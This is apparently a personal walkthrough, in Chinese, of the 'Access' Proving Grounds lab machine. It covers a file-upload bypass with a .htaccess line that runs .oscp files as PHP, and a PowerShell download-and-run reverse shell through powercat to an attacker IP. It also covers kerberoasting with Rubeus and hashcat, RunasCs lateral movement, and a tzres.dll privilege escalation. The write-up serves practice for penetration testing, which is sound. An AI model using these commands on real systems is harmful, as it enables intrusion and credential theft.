Proving Grounds Practice : Access Walkthrough
Proving Grounds Practice : Access Walkthrough
Foothole (立足點 ) :
- 這是一台 DC,會有 Web 就不太尋常,查看後發現訂票送出介面可以上傳圖像
- 真實上傳圖像顯示在 /uploads 底下確認可以上傳
- *.php & *.pHP 等都無法上傳成功,改上傳 *.oscp 發現可以上傳成功
- 後經由修改 .htaccess 並上傳到同一個路徑下後執行 webshell.oscp 成功開啟
- 有上傳 php-reverse-shell.oscp 但連線都無法順利成功後改用 webshell.oscp 並執行 powershell RFI 方式拿到 reverse shell 連線成功
PE ( 提權 ) :
- 拿到 reverse shell 後進行橫向移動,原有帳號 svc_apache 幾乎沒有任何權限與利用
- 後來使用 rubeus.exe 加上 kerberoast 後發現 svc_mssql 的密碼
- 第一步使用 asreproast 沒有發現可用帳號
- 拿到帳號密碼亦無法登入使用,改上傳 Invoke-RunasCs.ps1 使用 Run as 去建立另外一個 reverse shell,成功拿到 svc_mssql 帳號權限的 shell
- 執行 whoami /priv 發現該帳號有 SeManageVolumePrivilege
- 下載工具 SeManageVolumeExploit.exe 後執行
- 跑 winPEASx64.exe 確認可以寫入的路徑發現 C:\windows\ 有多個路徑可以寫入
- 其中一個經典的 C:\windows\system32\wbem 是 systeminfo 利用 tzres.dll
- 建立惡意 tzres.dll payload 並上傳到 C:\windows\system32\wbem
- 執行 systeminfo 後提權成功拿到 nt authority\network service
注意事項 :
- 檔案上傳鎖死副檔名,除了大小寫修改利用外亦可使用 .htaccess 自行定義副檔名的 content-type 執行方式
- 亦可以透過 Burp Suite 於檔案上傳時特意修改欺騙 content-type 去上傳
- php-reverse-shell.php 無法使用時可以替換 webshell.php 再去執行命令建立連線
- 拿到 inter-active 互動後發現沒有權限要想到利用橫向移動換一個一般使用者帳號也許就有其他特殊的權限
- 拿到帳號密碼無法透過遠端登入執行時,可以在原有帳號使用 run as 的 ps1 檔案去跑 reverse shell 建立回來
- 注意 whoami /priv 有 SeManageVolumePrivilege 會有 C:\ 寫入權限的提權方式利用
- 學到工具 SeManageVolumeExploit.exe 直接利用的方式,記得加上 winPEASx64.exe 去列舉並用 icacls 再次確認
- systeminfo 執行時會帶入 tzres.dll 是一種標準利用
Kali IP : 192.168.45.222
靶機 IP : 192.168.234.187
第一步掃描 Port 資訊
有開 88 Kerbers 與 3268 LDAP 看來是一台 DC
snmp 沒戲
nmap,└─$ sudo nmap -sCV -A -Pn -p 53,80,88,135,139,389,445,464,593,3268,3269,5985,9389,49666,49668,49673,49674,49677,49701,49795 192.168.234.187 | tee nmap
80 Port 是個 Apache Web Server
nmap LDAP 搜尋看看先,└─$ sudo nmap --script "ldap* and not brute" 192.168.234.187 -p 389 -v -Pn -sT | tee nmap-ldap
網域名稱 : DC=access,DC=offsec
LDAP 搜尋物件看看,└─$ ldapsearch -v -x -b "DC=access,DC=offsec" -H "ldap://192.168.234.187" "(objectclass=*)" | tee ldapsearch-object
whatweb 80 看看是啥,└─$ whatweb http://192.168.234.187 | tee whatweb
只知道是個 Apache 與 php 語法的網站
開啟瀏覽器看看 80 /,看起來是個活動公告網站
80 /robots.txt 沒有東西
80 / 可以買活動的票,且可以上傳 Image,感覺是個可利用的爛梗
先 gobuster 看看,└─$ gobuster -w ./dirfuzzing.txt dir -u http://192.168.234.187 -c -t 150 -x txt,pdf,git,php | tee gobuster
三個有用的路徑 /assets、/forms、/uploads
80 /assets,逛了一圈看來都是網頁的素材與 contents
80 /forms
80 /uploads,沒有任何東西但看來就是個圖像上傳的位置
已知是 php 網站直接上傳 reverse shell 試試看
副檔名被拒絕,看來有鎖上傳的檔案副檔名
上傳大小寫變異的檔案試試看
一樣 GG
GIF8; 魔法密碼試試看
還是 GG,看來是鎖檔案的實際副檔名
隨便上傳一個 .oscp 試試看
這一次成功了,看來是有鎖 php 檔案
80 /uploads 可以看到該檔案,確認上傳後是放到這個路徑
後續測試了 php 網站可以執行的 phps、php7 一樣被告知不允許的副檔名
所以要改一樣思考模式,此網站是 php 網站,但是相關 php 網頁檔案都無法成功上傳
隨便上傳一個附檔名是 .oscp 的檔案是可以成功的,但是無法正常執行,點了如下
所以要想一下如何讓 php-reverse-shell.oscp 可以正常執行 php 語法
將 .oscp 附檔名的 content type 宣告為
php 並寫入到 .htaccess
為什麼這樣可以成功可以參考 How To Bypass Website File
Upload Restrictions
以及參考 MIME Type 定義 https://mimeapplication.net/x-httpd-php
所以將使用 x-httpd-php 來定義 oscp 附檔名
echo "AddType application/x-httpd-php .oscp" > .htaccess
上傳 .htaccess 到同一個路徑
發現可以成功上傳,看來就是這個梗了
80 /uploads,看不到,因為是一個隱藏檔
執行後 reverse shell 有進來但是馬上就斷了
證實改了 .htaccess 告知 .oscp 是 php 語法是有用的,所以改上傳 webshell.oscp 試試看
執行後確認跑了 php webshell 網站
這是一台 Windows 所以 command 要用 powershell 去執行,使用標準的 powershell 建立 reverse shell 成功進來了,指令 powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.222/powercat.ps1'); powercat -c 192.168.45.222 -p 4444 -e powershell"
開始 PE,whoami /priv
上傳 Rebues.exe
查看 asreproasting ,執行 .\Rubeus.exe asreproast /nowrap,看來沒有
查看 kerberoasting,執行 .\Rubeus.exe kerberroast /nowrap,發現 svc_mssql 帳號 HASH
hashcat 破解,└─$ hashcat -m 13100 kerberroast.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force,解出密碼 trustno1
powershell -ep bypass
匯入模組 Import-Module .\Invoke-RunasCs.ps1
使用 whoami 來測試一下看看
Invoke-RunasCs -Username svc_mssql -Password
trustno1 -Command "whoami"
成功顯示 svc_mssql 沒問題如下
https://github.com/CsEnox/SeManageVolumeExploit/releases
留言
張貼留言